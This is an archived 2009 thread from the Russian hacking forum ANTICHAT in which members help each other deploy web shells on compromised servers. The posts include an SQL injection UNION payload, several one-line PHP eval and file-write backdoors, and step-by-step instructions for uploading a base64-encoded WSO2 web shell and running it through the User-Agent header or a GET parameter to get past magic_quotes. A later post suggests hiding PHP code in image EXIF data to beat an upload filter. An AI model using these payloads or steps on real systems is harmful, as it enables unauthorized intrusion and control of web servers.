ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

13.09.2009, 23:55
|
|
Познающий
Регистрация: 17.09.2008
Сообщений: 56
Провел на форуме: 587324
Репутация:
40
|
|
Сообщение от desTiny
FAQ666,
311)) ) ) GROUP BY `listings_properties`.`object_sid` and 1=2 union select 1,2,3.../*
Спасибо помогло)))
|
|
|

14.09.2009, 01:46
|
|
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме: 5749763
Репутация:
1680
|
|
Сообщение от jokester
Nightmarе
Залей
<?php lol(stripslashes($_REQUEST[c])); ?>
и работай нормально через system, или через что угодно, magic_quotes мешать не будут
И всё равно никак ;(
и так:
fputs(fopen($_GET[ass],a),base64_decode(stripslashes($_POST[lol])));
тоже не пашет, то есть заливается шелл но полностью покоцанный и не рабочий ;(
|
|
|

14.09.2009, 02:43
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
2 Nightmarе:
Всё дело в HTML-коде внутри любого шелла. Его просто надо переделать в ECHO "а тут html-код". Иначе через eval есс-но работать не будет. Или написать "правильную" функцию для корректной работы шелла с чистым html внутри себя.
Т.е. в итоге будет достаточно залить чистый base64_encode код шелла в файл на сервере, без <? и ?>
Но таких готовых шеллов нет, никто так не пишет  ) Ну или в паблик не выкладывает. Вывод - ручками. Как? Очень просто. Сидим и построчно заменяем "чистый html" на
echo 'тут html_код';
вот и всё. Или пишем мегафункцию на все случаи жизни, которой в паблике нет 100% - для корректного исполнения php кода, содержащий в себе чистый html
т.е., чтобы было понятно:
1. Cработает:
PHP код:
<?
$a = "phpinfo();";
eval ($a);
?>
2. Сработает:
PHP код:
<?
$a = "phpinfo();";
$a = base64_encode($a);
eval (base64_decode($a));
?>
Т.е. остается только залить base64_encode код шелла, без <? и ?> и еще не закодированный он когда, там должен быть "правильный" html, не отделенный от php-кода никакими <? и ?>, т.е. шелл, состоящий сплошь из "чистого" php, без htm-отдельных-вставок в центре кода. Т.е. еще раз (сам уже запутался, гы) - весь чистый, отдельный вынесенный html надо заменить на
echo "html-код";
закодировать такой шелл в base64, залить (получиться файло без кавычек, значит прокатит 100%, как при sql-inj при заливке файла) на сервер, а потом просто eval-нуть, т.е. по пунктам:
1. Заливаешь такой файл на сервер, назовем такой файл user1.php:
<?eval($_SERVER[HTTP_USER_AGENT]);?> - будет работать 100%, кавычек нет, зальется без изменений
2. Заливаешь на сервер другой файл, в котором "правильный" base64_encode шелла (с правильными html) - назовем такой файл user.php (закодированный без <? и ?>) - будет работать 100%, кавычек нет, зальется без изменений
3. Идешь в FF и создаешь такого юзер-агента в плагине user agent switcher:
Description: eval(base64)
User agent: $a=file_get_contents('user.php');eval(base64_decod e($a));
и всё, у тебя шелл
PS: Пункт №2 можно выполнить либо удаленно, либо через предварительно залитую форму загрузки с локального компа - зависит от настроек в php.ini
И такая защита, как наблюдается у тебя там, обломается
Или не читать весь бред, что выше про FF (раньше так делал, гы) и просто залить правильный base64 шелла и выполнить его через eval - что в принципе одно и тоже
Последний раз редактировалось Pashkela; 14.09.2009 в 03:00..
|
|
|

14.09.2009, 11:27
|
|
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме: 10046345
Репутация:
4589
|
|
Или пишем мегафункцию на все случаи жизни, которой в паблике нет 100% - для корректного исполнения php кода, содержащий в себе чистый html
Пиздец, это пиздец ..
|
|
|

14.09.2009, 12:22
|
|
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме: 5749763
Репутация:
1680
|
|
Pashkela большое спасибо.
Посидел минут 20, переделал wso2 шелл убрав HTML код, и заработало!!!!!!!
|
|
|

14.09.2009, 14:17
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
Сообщение от BlackSun
Пиздец, это пиздец ..
Ну может я чего и не знаю, у меня wso2-шелл через eval не заработал. Вместо того, чтобы ругаться матом в общественном форуме, лучше бы выложил такую функцию, позволяющую запускать смешанный php и html код через eval.
Кругом какие-то неуравновешанные люди 
Последний раз редактировалось Pashkela; 14.09.2009 в 14:24..
|
|
|

14.09.2009, 14:30
|
|
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме: 10046345
Репутация:
4589
|
|
Сообщение от Pashkela
Ну может я чего и не знаю, у меня wso2-шелл через eval не заработал. Вместо того, чтобы ругаться матом в общественном форуме, лучше бы выложил такую функцию, позволяющую запускать смешанный php и html код через eval.
Кругом какие-то неуравновешанные люди 
Лучше прекрати нести откровенную ***ню на форуме, это уже нихера не смешно и начинает раздражать!
eval('?><html>ох ебать, хтмл в евале!<body><?php phpinfo(); ?></body></html>');
|
|
|

14.09.2009, 14:51
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
BlackSun:
Ну да, по пьяни такие вещи лучше не проверять  Работает и WSO2 так. Не раздражайся, я не специально, доктора уже выехали  Какая бы херня не была, человеку помог, в отличие от некоторых "с понтами"
Nightmarе:
Посидел минут 20, переделал wso2 шелл убрав HTML код, и заработало!!!!!!!
Ну и зря. Просто перевел бы тот же wso2.php в base64(без <? и ?>), залил бы и выполнил бы так:
1. Залить такой шелл -
<?eval(stripslashes($_GET[e]));?>// будет работать даже с magic_quotes=on
2.
?e = $a = file_get_contents("wso2.php");eval(base64_decode($ a));
Вот в принципе и всё, что надо было. А я там понаписал - мама не горюй  Надо завязывать
Последний раз редактировалось Pashkela; 14.09.2009 в 14:58..
|
|
|

14.09.2009, 17:08
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
Провел на форуме: 6075534
Репутация:
2731
|
|
Как выполнить PHP-код, если можно заливать файл с любым расширением?
НО есть два условия:
1. Структура файла должна быть как у картинки.
2. После заливки скрипт меняет расширение картинки на 340x340, соответственно весь код, который написан в конце картинки сгорает.
|
|
|

14.09.2009, 17:11
|
|
Участник форума
Регистрация: 08.11.2007
Сообщений: 102
Провел на форуме: 1266776
Репутация:
93
|
|
mailbrush, а скрипт только сжимает до 320х340? если так, то есть возможность указать ложные exif данные и залить в конец код.
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|